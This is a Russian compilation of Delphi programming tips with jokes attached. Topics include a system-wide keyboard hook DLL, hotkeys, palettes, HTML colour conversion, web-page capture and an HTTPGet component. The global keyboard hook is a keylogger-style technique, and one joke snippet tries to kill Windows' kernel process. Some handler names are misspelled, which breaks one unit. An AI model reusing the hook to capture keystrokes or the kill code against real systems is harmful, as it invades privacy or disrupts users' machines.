 {при выгрузке DLL надо снять ловушку}
 
 procedure LocalExitProc; far;
 begin
 
   if HookHandle <> 0 then
   begin
     UnhookWindowsHookEx(HookHandle);
     ExitProc := SaveExitProc;
   end;
 end;
 
 exports Key_Hook;
 
 {инициализация DLL при загрузке ее в память}
 begin
   {устанавливаем ловушку}
 
   HookHandle := SetWindowsHookEx(wh_Keyboard, @Key_Hook,
     hInstance, 0);
   if HookHandle = 0 then
     MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
   else
   begin
     SaveExitProc := ExitProc;
     ExitProc := @LocalExitProc;
   end;
 end.
 
 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
 
 object Form1: TForm1
   Left = 200
     Top = 104
     Width = 544
     Height = 375
     Caption = 'XXX'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clWindowText
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     PixelsPerInch = 96
     TextHeight = 13
     object Label1: TLabel
     Left = 128
       Top = 68
       Width = 32
       Height = 13
       Caption = 'Label1'
   end
 end
 
 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
 
 unit Unit1;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
   Controls, Forms, Dialogs, StdCtrls;
 
 {пользовательские сообщения}
 
 const
 
   wm_LeftShow_Event = wm_User + 133;
   wm_RightShow_Event = wm_User + 134;
   wm_UpShow_Event = wm_User + 135;
   wm_DownShow_Event = wm_User + 136;
 
 type
 
   TForm1 = class(TForm)
     Label1: TLabel;
 
     procedure FormCreate(Sender: TObject);
 
   private //Обработчики сообщений
 
     procedure WM_LeftMSG(var M: TMessage);
       message wm_LeftShow_Event;
 
     procedure WM_RightMSG(var M: TMessage);
       message wm_RightShow_Event;
 
     procedure WM_UpMSG(var M: TMessage);
       message wm_UpShow_Event;
 
     procedure WM_DownMSG(var M: TMessage);
       message wm_DownShow_Event;
   end;
 
 var
 
   Form1: TForm1;
   P: Pointer;
 
 implementation
 
 {$R *.DFM}
 
 //Загрузка DLL
 
 function Key_Hook(Code: integer; wParam: word;
   lParam: Longint): Longint; stdcall; external 'SendKey' name 'Key_Hook';
 
 procedure TForm1.WM_LefttMSG(var M: TMessage);
 begin
 
   Label1.Caption := 'Left';
 end;
 
 procedure TForm1.WM_RightMSG(var M: TMessage);
 begin
 
   Label1.Caption := 'Right';
 end;
 
 procedure TForm1.WM_UptMSG(var M: TMessage);
 begin
 
   Label1.Caption := 'Up';
 end;
 
 procedure TForm1.WM_DownMSG(var M: TMessage);
 begin
 
   Label1.Caption := 'Down';
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   {если не использовать вызов процедуры из DLL в программе,
   то компилятор удалит загрузку DLL из программы}
   P := @Key_Hook;
 end;
 
 end.
 




Перехватить нажатие клавиши на клавиатуре


Звонит мужик в программистскую фирму:
- Ваша программа не работает!!! Что делать?
- Вы внимательно читали руководство?
- Да, да, делал все как написано - не работает.
- Прочитайте еще раз 1-ю строчку.
- Читаю: "Нажмите кнопку ENTER". Нажимаю... Не работает.
- Читайте дальше.
- Читаю: "Отпустите кнопку ENTER". О!!! Заработала!!!

Для того, чтобы перехватить нажатие какой-то клавиши на клавиатуре можно использовать зарегистрированную "горячую клавишу" (HotKey). Эта программа пикает при нажатии "1".


 ...
 private
   procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
 ...
 const
   MyHotKey = ord('1');
 
 procedure TForm1.WMHotKey(var Msg: TWMHotKey);
 begin
   MessageBeep(0);
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   RegisterHotKey(Form1.Handle, MyHotKey, 0, MyHotKey);
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   UnRegisterHotKey(Form1.Handle, MyHotKey);
 end;
 




Пример компонента HotSpot

Автор: Robert Wittig

Вот пример HotSpot-компонента, основанного на TPanel (небольшая переделка). Управляя событиями MouseDown и MouseUp можно получить эффект резинового контура.


 unit Newpanel;
 
 interface
 uses WinTypes, Classes, Controls, StdCtrls, ExtCtrls;
 
 type
 
   tHotSpotClickEvent = procedure(Sender: tObject;
     Button: tMouseButton;
     Shift: tShiftState) of object;
 
   TNewPanel = class(tPanel)
   private
     fHotSpotClick: tHotSpotClickEvent;
     fHotSpot: tRect;
     fInHotSpot: Boolean;
 
     function GetHotSpotTop: Word;
     function GetHotSpotLeft: Word;
     function GetHotSpotWidth: Word;
     function GetHotSpotHeight: Word;
 
     procedure SetHotSpotTop(Value: Word);
     procedure SetHotSpotLeft(Value: Word);
     procedure SetHotSpotWidth(Value: Word);
     procedure SetHotSpotHeight(Value: Word);
   protected
     procedure Paint; override;
     procedure MouseDown(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
       override;
     procedure MouseUp(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
       override;
   public
     procedure Click; override;
 
     property HotSpot: tRect read fHotSpot write fHotSpot;
   published
     property hsTop: Word read GetHotSpotTop write SetHotSpotTop;
     property hsLeft: Word read GetHotSpotLeft write SetHotSpotLeft;
     property hsWidth: Word read GetHotSpotWidth write SetHotSpotWidth;
     property hsHeight: Word read GetHotSpotHeight write SetHotSpotHeight;
 
     property OnHotSpot: tHotSpotClickEvent read fHotSpotClick write
       fHotSpotClick;
   end;
 
 procedure Register;
 
 implementation
 uses WinProcs, Graphics;
 
 procedure Register;
 begin
 
   RegisterComponents('Custom', [TNewPanel]);
 end;
 
 procedure TNewPanel.MouseDown(Button: tMouseButton;
 
   Shift: tShiftState;
   X, Y: Integer);
 begin
 
   if PtInRect(fHotSpot, Point(X, Y)) and
     Assigned(fHotSpotClick) then
     fInHotSpot := True;
   inherited MouseDown(Button, Shift, X, Y);
 end;
 
 procedure TNewPanel.MouseUp(Button: tMouseButton;
 
   Shift: tShiftState;
   X, Y: Integer);
 begin
 
   inherited MouseUp(Button, Shift, X, Y);
 
   if fInHotSpot then
   begin
     if Assigned(fHotSpotClick) then
       fHotSpotClick(Self, Button, Shift);
     fInHotSpot := False;
   end;
 end;
 
 procedure TNewPanel.Click;
 begin
 
   if not fInHotSpot then
     inherited Click;
 end;
 
 procedure TNewPanel.Paint;
 var
 
   OldStyle: tPenStyle;
 begin
 
   inherited Paint;
 
   if csDesigning in ComponentState then
   begin
     OldStyle := Canvas.Pen.Style;
     Canvas.Pen.Style := psDash;
     Canvas.Rectangle(HotSpot.Left, HotSpot.Top, HotSpot.Right, HotSpot.Bottom);
     Canvas.Pen.Style := OldStyle;
   end;
 end;
 
 procedure TNewPanel.SetHotSpotTop(Value: Word);
 begin
 
   fHotSpot.Bottom := fHotSpot.Bottom + Value - fHotSpot.Top;
   fHotSpot.Top := Value;
   Paint;
 end;
 
 procedure TNewPanel.SetHotSpotLeft(Value: Word);
 begin
 
   fHotSpot.Right := fHotSpot.Right + Value - fHotSpot.Left;
   fHotSpot.Left := Value;
   Paint;
 end;
 
 procedure TNewPanel.SetHotSpotWidth(Value: Word);
 begin
 
   fHotSpot.Right := fHotSpot.Left + Value;
   Paint;
 end;
 
 procedure TNewPanel.SetHotSpotHeight(Value: Word);
 begin
 
   fHotSpot.Bottom := fHotSpot.Top + Value;
   Paint;
 end;
 
 function TNewPanel.GetHotSpotTop: Word;
 begin
 
   Result := fHotSpot.Top
 end;
 
 function TNewPanel.GetHotSpotLeft: Word;
 begin
 
   Result := fHotSpot.Left;
 end;
 
 function TNewPanel.GetHotSpotWidth: Word;
 begin
 
   Result := fHotSpot.Right - fHotSpot.Left;
 end;
 
 function TNewPanel.GetHotSpotHeight: Word;
 begin
 
   Result := fHotSpot.Bottom - fHotSpot.Top;
 end;
 
 end.
 




Создание собственных горячих клавиш

Сидят 2 программиста, выпучившись в мониторы. В окно влетает зеленая жирная муха и садится к одному из них на экран. Тот лихорадочно начинает кликать мышкой. Мухa не реагирует. Второй вскакивает раскручивая на ходу свою мышку бьет первого. Первый выходит из торча: "Прикинь, Вить, первый раз глюк убрал просто del!" Второй, замерев, всматривается в экран:
- Да, Миш, тебе бы переинсталить...


 procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
 Shift: TShiftState);
 begin
   if (ssCtrl in Shift) and (chr(Key) in ['A', 'a']) then
     ShowMessage('Ctrl-A');
 end;
 




Как повесить винду

Автор: Nomadic

Если бы на станции "МИР" стояли бы "Винды", она до сих пор бы висела.


 uses TLHelp32;
 
 const
   PROCESS_TERMINATE = $0001;
 var
   FSnapshotHandle: THandle;
   FProcessEntry32: TProcessEntry32;
   ContinueLoop: BOOL;
 begin
   FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
   ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
   while integer(ContinueLoop) <> 0 do
   begin
     if LowerCase(ExtractFileName(
       (FProcessEntry32.szExeFile))) = 'kernel32.dll' then
       if not (TerminateProcess(
         OpenProcess(PROCESS_TERMINATE, BOOL(0),
         FProcessEntry32.th32ProcessID), 0)) then
         MessageBoxEx(Application.Handle,
           'Can`t kill windows kernel...',
           'Warning', MB_ICONWarning + MB_OK, $0419);
     ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
   end;
   CloseHandle(FSnapshotHandle);
 end;
 




Как долго запущена Windows


- Э, простите, а сколько занимает виндовс?
- Сколько находит - столько и занимает...


 procedure TForm1.Button1Click(Sender: TObject);
 var
   ndays: double;
   ticks: LongInt;
   btime: TDateTime;
 begin
   {Функция GetTickCount получает количество миллисекунд,
   прошедших с момента старта Windows}
   ticks := GetTickCount;
 
   {Чтобы получить дни, необходимо разделить на количество
   миллисекунд в дне, 24*60*60*1000=86400000}
   ndays := ticks/86400000;
 
   {теперь вычитаем из текущей даты полученное количество
   дней работы Windows}
   bTime := now-ndays;
 
   {показываем диалоговое окошко с сообщением}
   ShowMessage(
   FormatDateTime('"Windows started on" dddd, mmmm d, yyyy, ' +
   '"at" hh:nn:ss AM/PM', bTime) + #10#13 +
   'Its been up for ' + IntToStr(Trunc(nDays)) + ' days,' +
   FormatDateTime(' h "hours," n "minutes," s "seconds"',ndays));
 end;
 




Как узнать количество бит в цветовой палитре


Пpосыпаются утpом паpень с девушкой, гpустный сеpый осенний день. подходят к окну. Девушка:
- Какой сегодня сеpый день...
Паpень:
- Палитpа слетела...


 function GetDisplayColors: integer;
 var
   tHDC: hdc;
 begin
   tHDC := GetDC(0);
   result := GetDeviceCaps(tHDC, 12) * GetDeviceCaps(tHDC, 14);
   ReleaseDC(0, tHDC);
 end;
 




Как узнать количество бит в цветовой палитре 2


 1 shl GetDeviceCaps( Canvas.Handle, BITSPIXEL )
 




Как обрабатывать сообщения

Обработка сообщений означает, что приложение будет тем или иным образом реагировать на полученные от операционной системы сообщения. В стандартном приложении Windows обработка сообщений сосредотачивается в процедурах окна. Delphi, частично обрабатывая сообщения, упрощает работу программиста, позволяя вместо одной процедуры для обработки всех типов сообщений создавать независимые процедуры для обработки сообщений различных типов.

Все процедуры обработки сообщений должны отвечать следующим требованиям:

  • Процедура должна быть методом объекта
  • Процедуре должен передаваться один передаваемый по ссылке параметр, т.е. с помощью описания var. Тип параметра должен быть TMessage или другой, зависящий от типа специализированного сообщения
  • Описание процедуры должно включать ключевое слово message, за которым должна следовать константа, задающая тип обрабатываемого сообщения

Вот пример объявления процедуры, обрабатывающей сообщение WM_Paint


 procedure WMPaint(var Msg: TWMPaint); message wm_Paint;
 

[соглашение по присвоению имён требует присваивать обработчику сообщения то же имя, что и имя обрабатываемого сообщения, но без символа подчёркивания и указанием первым знаков имени прописными буквами]

В качестве примера напишем процедуру обработки сообщения WM_Paint, которая вместо перерисовки будет выдавать звуковой сигнал:

Для этого сначала нужно объявить процедуру в частных объявлениях (в области Private объекта TForm1):


 procedure WMPaint(var Msg: TWMPaint); message wm_Paint;
 

Теперь в разделе implementation модуля добавляем определение процедуры (в этом случае указание ключевого слова message не требуется):


 procedure TForm1.WMPaint(var Msg: TWMPaint);
 begin
   beep;
   inherited;
 end;
 

Обратите внимание на ключевое слово inherited, которое позволяет передать сообщение обработчику этого сообщения, принадлежащему классу-предку, т.е. если бы мы в нашем случае не указали бы это слово, перерисовка окна не осуществлялась бы, а выполнялось бы только только то, что было описано в области реализации нашего приложения, т.е. только бы подавался звуковой сигнал.




Как использовать ChartFX

В Microsoft обнаpyжен подкидыш. Слyхов ходит огpомное количество. Hекотоpые намекают на то, что Билл Гейтс - отец pебенка. Это побyждает Microsoft (МD) выстyпить с официальным заявлением:
- Во-пеpвых, сотpyдник MD не может быть отцом pебенка.
- Во-втоpых, в MD ничего никогда не изготавливалось за такой коpоткий сpок.
- В-тpетьих, в MD никогда не пpоизводилось ничего такого, что с самого начала имело бы все самое необходимое для жизни.


 unit Chart;
 
 ...
 
 with ChartFX do
 begin
   Visible := false;
   { Устанавливаем режим ввода значений }
   { 1 - количество серий (в нашем случае 1), 3 - количество значений }
   OpenData [COD_VALUES] := MakeLong (1,3);
   { Номер текущей серии }
   ThisSerie := 0;
   { Value [i] - значение с индексом i }
   { Legend [i] - комментарий к этому значению }
   Value [0] := a;
   Legend [0] := 'Значение переменной A';
   Value [1] := b;
   Legend [1] := 'Значение переменной B';
   Value [2] := c;
   Legend [2] := 'Значение переменной C';
   { Закрываем режим }
   CloseData [COD_VALUES] := 0;
   { Ширина поля с комментариями на экране (в пикселах) }
   LegendWidth := 150;
   Visible := true;
 end;
 




Как работать с палитрой в Delphi

Старый анекдот на новый лад:
- Что такое тугодум?
- Это игра Doom II, запущенная на 386-м компьютере.
- Ага, или Doom III практически на любом...

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:


 procedure TMain.BitBtnClick(Sender: TObject);
 var
   Palette : HPalette;
   PaletteSize : Integer;
   LogSize: Integer;
   LogPalette: PLogPalette;
   Red : Byte;
 begin
   Palette := Image.Picture.Bitmap.ReleasePalette;
   // здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не
   // знаю, удаляются ли ненужные палитры автоматически
 
   if Palette=0 then //Палитра отсутствует
     exit;
   PaletteSize := 0;
   if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then
     Exit;
   // Количество элементов в палитре = paletteSize
   if PaletteSize = 0 then // палитра пустая
     Exit;
   // определение размера палитры
   LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
   GetMem(LogPalette, LogSize);
   try
     // заполнение полей логической палитры
     with LogPalette^ do
     begin
       palVersion := $0300; palNumEntries := PaletteSize;
       GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
       // делаете что нужно с палитрой, например:
       Red := palPalEntry[PaletteSize-1].peRed;
       Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);
       palPalEntry[PaletteSize-1].peRed := 0;
     end;
     // завершение работы
     Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
   finally
     FreeMem(LogPalette, LogSize);
     // я должен позаботиться сам об удалении Released Palette
     DeleteObject(Palette);
   end;
 end;
 
 
 { Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
 и меняет его палитру при нажатии кнопки }
 unit bmpformu;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls;
 
 type
   TBmpForm = class(TForm)
     Button1: TButton;
     procedure FormDestroy(Sender: TObject);
     procedure FormPaint(Sender: TObject);
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     Bitmap: TBitmap;
     procedure ScrambleBitmap;
     procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
 end;
 
 var
   BmpForm: TBmpForm;
 
 implementation
 
 {$R *.DFM}
 
 procedure TBmpForm.FormCreate(Sender: TObject);
 begin
   Bitmap := TBitmap.Create;
   Bitmap.LoadFromFile('bor6.bmp');
 end;
 
 procedure TBmpForm.FormDestroy(Sender: TObject);
 begin
   Bitmap.Free;
 end;
 
 // since we're going to be painting the whole form, handling this
 // message will suppress the uneccessary repainting of the background
 // which can result in flicker.
 procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
 begin
   m.Result := LRESULT(False);
 end;
 
 procedure TBmpForm.FormPaint(Sender: TObject);
 var
   x, y: Integer;
 begin
   y := 0;
   while y < Height do
   begin
     x := 0;
     while x < Width do
     begin
       Canvas.Draw(x, y, Bitmap);
       x := x + Bitmap.Width;
     end;
     y := y + Bitmap.Height;
   end;
 end;
 
 procedure TBmpForm.Button1Click(Sender: TObject);
 begin
   ScrambleBitmap;
   Invalidate;
 end;
 
 // scrambling the bitmap is easy when it's has 256 colors:
 // we just need to change each of the color in the palette
 // to some other value.
 procedure TBmpForm.ScrambleBitmap;
 var
   pal: PLogPalette;
   hpal: HPALETTE;
   i: Integer;
 begin
   pal := nil;
   try
     GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
     pal.palVersion := $300;
     pal.palNumEntries := 256;
     for i := 0 to 255 do
     begin
       pal.palPalEntry[i].peRed := Random(255);
       pal.palPalEntry[i].peGreen := Random(255);
       pal.palPalEntry[i].peBlue := Random(255);
     end;
     hpal := CreatePalette(pal^);
     if hpal <> 0 then
       Bitmap.Palette := hpal;
   finally
     FreeMem(pal);
   end;
 end;
 
 end.
 




Показать код HTML страницы в TMemo

- Вы слышали, вышел отечественный браузер? Называется "Иван Сусанин" - до сих пор никто выйти не может.


 // You need a TMemo, a TButton und a NMHTTP
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   NMHTTP1.Get('www.swissdelphicenter.ch');
   memo1.Text := NMHTTP1.Body
 end;
 




Как получить цвет строки в HTML формате


Вебмастер сдает на права, заполняет бланк:
Рост: 175
Вес: 80
Цвет глаз: #44AAFF

Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:


 function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string;
 var
   rgbColor: TColorRef;
 begin
   if IsBackColor then
     Result := 'bg'
   else
     Result := '';
   rgbColor := ColorToRGB(cl);
   Result := Result + 'color="#' +
   Format('%.2x%.2x%.2x',
   [GetRValue(rgbColor),
   GetGValue(rgbColor),
   GetBValue(rgbColor)]) + '"';
 end;
 




Как преобразовать шестнадцатиричный цвет HTML в TColor

Стоит взвод молодых бойцов. Старшина:
- По порядку номеров рассчитайсь!!! Солдат-программист:
- Можно вопрос ?
- Можно...
- А в какой системе? Десятичной? Шестнадцатеричной?
- Для дураков объясняю, в десятичной!!!
- Понял! Нулевой!!!


 unit colours;
 
 interface
 uses
   Windows, Sysutils, Graphics;
 
   function ConvertHtmlHexToTColor(Color: string):TColor ;
   function CheckHexForHash(col: string):string ;
 
 implementation
 
 
 function ConvertHtmlHexToTColor(Color: string):TColor ;
 var
   rColor: TColor;
 begin
   Color := CheckHexForHash(Color);
 
   if (length(color) >= 6) then
   begin
     {незабудьте, что TColor это bgr, а не rgb: поэтому необходимо изменить порядок}
     color := '$00' + copy(color,5,2) + copy(color,3,2) + copy(color,1,2);
     rColor := StrToInt(color);
   end;
 
   result := rColor;
 end;
 
 
 // Просто проверяет первый сивол строки на наличие '#' и удаляет его, если он найден
 function CheckHexForHash(col: string):string ;
 begin
   if col[1] = '#' then
     col := StringReplace(col,'#','',[rfReplaceAll]);
   result := col;
 end;
 
 end.
 




HTMLEditor - Краткий обзор

Автор: Алексей Румянцев

Вступление - загрузка информации.

Часто в своих проектах, там, где нужно дать возможность пользователю редактировать текст, выделять различными шрифтами (стилями, цветами...) отдельные слова и в других подобных случаях, мы используем, чаще всего, TRichEdit. Всем он нравится как редактор?, хорош и удобен он в работе? На эти вопросы каждый ответит по своему, но в принципе, худо-бедно, пользоваться им можно. Можно потому что не видно другой альтернативы. Вернее она есть, и на много удобнее и продвинутее чем Rich'формат - это Html'формат, но он не доступен для визуального редактирования - т.е. для него нет редактора, поддерживающего стили, картинки, таблицы()., вот и получается что оно как бы есть, но его как бы нет. А если бы был (здесь можно помечтать, что с помощью такого редактора можно было бы сделать)? А.если нечто подобное есть, а вы об этом не знаете (здесь можно состроить гримасу удивления и задаться вопросом "зачем такое делать и никому об этом не говорить?")? Короче, альтернатива Rich'формату есть это Html, теперь давайте попробуем найти для него редактор. Но чтобы что-то искать, надо, как минимум, знать что это что-то есть. Когда же я стал искать, то я еще не знал о существовании такого редактора, да вобщем-то и искал не его и обнаружение его - это побочный эффект любопытства.

Куда ты завел нас...?

Что и зачем я искал вам не интересно, а вот что и где я нашел мы сейчас узнаем.

  1. Запускаем один экземпляр Delphi (у меня 5-ая версия).
  2. В меню-баре выбираем пункт "Component", затем "Import ActiveX Control".
  3. В появившемся окне, в списке зарегестрированных ActiveX Control'ов находим строку "DHTML Edit Control..." и выделяем ее (я не обещаю что у всех она будет, но если вдруг не будет попробуйте нажать кнопку "Add" и найти файл "C:\Program Files\Common Files\Microsoft Shared\Triedit\DHTMLED.OCX")..

Результат должен быть примерно следующий:

  1. Нажимаем кнопку "Install".
  2. В следующем окне выбираем вкладку "Into new package".
  3. Выбираем путь куда будет установлен наш ActiveX package и имя для него.

  1. Далее жмем "Ok".
  2. После долгого раздумья появится окно, в котором нажмите "Compile".

  1. После чего в выскочившем сообщении нажмите "Ok".
  2. Закройте все с сохранением вашей новой библиотеки.

А теперь в два приема создаем проект и тестируем то что получилось.

  1. Создаем новый проект
  2. находим палитру компонент "ActiveX", где видим две новые иконки
  3. выбираем ту что называется "DHTMLEdit"
  4. бросаем ее на форму
  5. устанавливаем Align := alClient
  6. запускаем проект
  7. выделяем текст на странице которую вы сейчас читаете (Ctrl+A) и копируем с нее текст (Ctrl+C)
  8. переходим в наш проект
  9. ставим в поле курсор (щелкните мышью по полю)
  10. нажимаем "Ctrl+V"
  11. смотрим и удивляемся.

Текст можно редактировать, выделять, подсвечивать (Ctrl+B, Ctrl+I, Ctrl+U), искать (Ctrl+F), и даже кажется печатать(Ctrl+P) (не уверен так как у меня нет принтера).

А что дальше?

А вот в этом-то вся шутка юмора и заключается... А я не знаю что дальше, точнее как програмно работать с ним - выделять, вставлять рисунки, рисовать таблицы и т.д. Судя по тому что все это он может отображать, он должен и уметь все это создавать, но с разбегу у меня не получилось разобраться. Поэтому, заинтересовавшийся народ, вот вам ребус - работа с html-едитором, взаимодействие его с программой и с пользователем - все это теперь ваша забота, а мы будем ждать появления на страницах "Королевства" от вас статей на этот счет, а я, пардон, отойду в сторону - у меня другие интересы и задачи, я лишь посчитал своим долгом познакомить вас со своей находкой. Единственное только знаю, что его можно использовать и как html-editor, и как html-viewer.

Заключение

Это полностью моя статья, ни на что не претендующая, ни с кого не требующая, ни от куда не списанная (даже упоминаний о DHTMLEdit'оре не где не слышал). Описанный контрол, технической поддержке со стороны автора статьи не подлежит, даже ответов на вопросы по нему не предусматривается. Все. Удачи. Всем пока.




Компонента HTML - редактора

Автор: Nomadic

Если у тебя стоит MS Internet Explorer 5, то считай, редактор у тебя в кармане ;-) Дело в том, что вместе с эксплорером идет DHTML -- ActiveX контрол, представляющий собой редактор HTML-ок, покруче, чем FrontPage Express даже, т.к. держит даже стили (.css). Лежит в C:\Program Files\Common Files\Microsoft Shared\Triedit. В Дельфи устанавливается через меню Components|Import ActiveX Control. При распространении своей программы с этим компонентом не забудь, что помимо копирования на машину клиента всех файлов из приведенного выше каталога нужно, чтоб они зарегистрированы были (regsvr32 имяфайла).




Как сохранить веб страничку в Bitmap

Автор: John

Cантехник ковыряется в унитазе. Прочищает засор типа... Вдруг замечает, что за ним наблюдает мальчик. - Что мальчик, неприятно? Это тебе, панимашшь, не в Интернете копаться...


 procedure TForm1.Button1Click(Sender: TObject);
 var
   ViewObject: IViewObject;
   sourceDrawRect: TRect;
 begin
   if EmbeddedWB1.Document <> nil then
   try
     EmbeddedWB1.Document.QueryInterface(IViewObject, ViewObject);
     if ViewObject <> nil then
       try
         sourceDrawRect := Rect(0, 0, Image1.Width, Image1.Height);
         ViewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Self.Handle,
           image1.Canvas.Handle, @sourceDrawRect, nil, nil, 0);
       finally
         ViewObject._Release;
       end;
   except
   end;
 end;
 




Как сохранить веб страничку в JPEG

Автор: Donall Burns

Разговор двух инeтчиков:
- Как ты думаешь чем рай отличаеться от ада?
- В раю просто есть интернeт!!!


 procedure generateJPEGfromBrowser(browser: iWebBrowser2; jpegFQFilename: String;
   srcHeight: Integer; srcWidth: Integer; tarHeight: Integer; tarWidth: Integer);
 var
   sourceDrawRect : TRect;
   targetDrawRect: TRect;
   sourceBitmap: TBitmap;
   targetBitmap: TBitmap;
   jpeg: TJPEGImage;
   viewObject: IViewObject;
 begin
   sourceBitmap := TBitmap.Create ;
   targetBitmap := TBitmap.Create ;
   jpeg := TJPEGImage.Create ;
   try
     try
       sourceDrawRect := Rect(0,0, srcWidth , srcHeight );
       sourceBitmap.Width :=  srcWidth ;
       sourceBitmap.Height :=  srcHeight ;
 
       viewObject := browser as IViewObject;
 
       if viewObject = nil then
         Exit;
 
       OleCheck(viewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, self.Handle,
         sourceBitmap.Canvas.Handle, @sourceDrawRect, nil, nil, 0));
 
       // Resize Bitmap
       targetDrawRect := Rect(0,0, tarWidth, tarHeight);
       targetBitmap.Height := tarHeight;
       targetBitmap.Width := tarWidth;
       targetBitmap.Canvas.StretchDraw(targetDrawRect, sourceBitmap);
 
       // Create JPEG from Bitmap and save it
       jpeg.Assign(targetBitmap) ;
       makeFileWriteable(jpegFQFilename);
       jpeg.SaveToFile (jpegFQFilename);
     finally
       jpeg.free;
       sourceBitmap.free ;
       targetBitmap.free;
     end;
   except
   // errors
   end;
 end;
 




Пример HTTP Get - загружаем файлы и страницы из Интернета

Встречаются два сис-админа. Один жалуется:
- Ну совсем рехнулся со своей работой. Вчера шел к тебе, набрал на домофоне 192.168... Никто не откликнулся, ну я и ушел... Второй отвечает:
- А ты не пробовал: 255.255.255.255?


 {*************************************************************}
 {            HTTPGet component for Delphi 32                  }
 { Version:   1.94                                             }
 { E-Mail:    info@utilmind.com                                }
 { WWW:       http://www.utilmind.com                          }
 { Created:   October  19, 1999                                }
 { Modified:  June 6, 2000                                     }
 { Legal:     Copyright (c) 1999-2000, UtilMind Solutions      }
 {*************************************************************}
 { PROPERTIES:                                                 }
 {   Agent: String - User Agent                                }
 {                                                             }
 {*  BinaryData: Boolean - This setting specifies which type   }
 {*                        of data will taken from the web.    }
 {*                        If you set this property TRUE then  }
 {*                        component will determinee the size  }
 {*                        of files *before* getting them from }
 {*                        the web.                            }
 {*                        If this property is FALSE then as we}
 {*                        do not knows the file size the      }
 {*                        OnProgress event will doesn't work. }
 {*                        Also please remember that is you set}
 {*                        this property as TRUE you will not  }
 {*                        capable to get from the web ASCII   }
 {*                        data and ofter got OnError event.   }
 {                                                             }
 {   FileName: String - Path to local file to store the data   }
 {                      taken from the web                     }
 {   Password, UserName - set this properties if you trying to }
 {                        get data from password protected     }
 {                        directories.                         }
 {   Referer: String - Additional data about referer document  }
 {   URL: String - The url to file or document                 }
 {   UseCache: Boolean - Get file from the Internet Explorer's }
 {                       cache if requested file is cached.    }
 {*************************************************************}
 { METHODS:                                                    }
 {   GetFile - Get the file from the web specified in the URL  }
 {             property and store it to the file specified in  }
 {             the FileName property                           }
 {   GetString - Get the data from web and return it as usual  }
 {               String. You can receive this string hooking   }
 {               the OnDoneString event.                       }
 {   Abort - Stop the current session                          }
 {*************************************************************}
 { EVENTS:                                                     }
 {   OnDoneFile - Occurs when the file is downloaded           }
 {   OnDoneString - Occurs when the string is received         }
 {   OnError - Occurs when error happend                       }
 {   OnProgress - Occurs at the receiving of the BINARY DATA   }
 {*************************************************************}
 { Please see demo program for more information.               }
 {*************************************************************}
 {                     IMPORTANT NOTE:                         }
 { This software is provided 'as-is', without any express or   }
 { implied warranty. In no event will the author be held       }
 { liable for any damages arising from the use of this         }
 { software.                                                   }
 { Permission is granted to anyone to use this software for    }
 { any purpose, including commercial applications, and to      }
 { alter it and redistribute it freely, subject to the         }
 { following restrictions:                                     }
 { 1. The origin of this software must not be misrepresented,  }
 {    you must not claim that you wrote the original software. }
 {    If you use this software in a product, an acknowledgment }
 {    in the product documentation would be appreciated but is }
 {    not required.                                            }
 { 2. Altered source versions must be plainly marked as such,  }
 {    and must not be misrepresented as being the original     }
 {    software.                                                }
 { 3. This notice may not be removed or altered from any       }
 {    source distribution.                                     }
 {*************************************************************}
 
 unit HTTPGet;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, WinInet;
 
 type
   TOnProgressEvent = procedure(Sender: TObject; TotalSize, Readed: Integer) of object;
   TOnDoneFileEvent = procedure(Sender: TObject; FileName: String; FileSize: Integer) of object;
   TOnDoneStringEvent = procedure(Sender: TObject; Result: String) of object;
 
   THTTPGetThread = class(TThread)
   private
     FTAcceptTypes,
     FTAgent,
     FTURL,
     FTFileName,
     FTStringResult,
     FTUserName,
     FTPassword,
     FTPostQuery,
     FTReferer: String;
     FTBinaryData,
     FTUseCache: Boolean;
 
     FTResult: Boolean;
     FTFileSize: Integer;
     FTToFile: Boolean;
 
     BytesToRead, BytesReaded: DWord;
 
     FTProgress: TOnProgressEvent;
 
     procedure UpdateProgress;
   protected
     procedure Execute; override;
   public
     constructor Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword,
       aPostQuery, aReferer: String; aBinaryData, aUseCache:
       Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
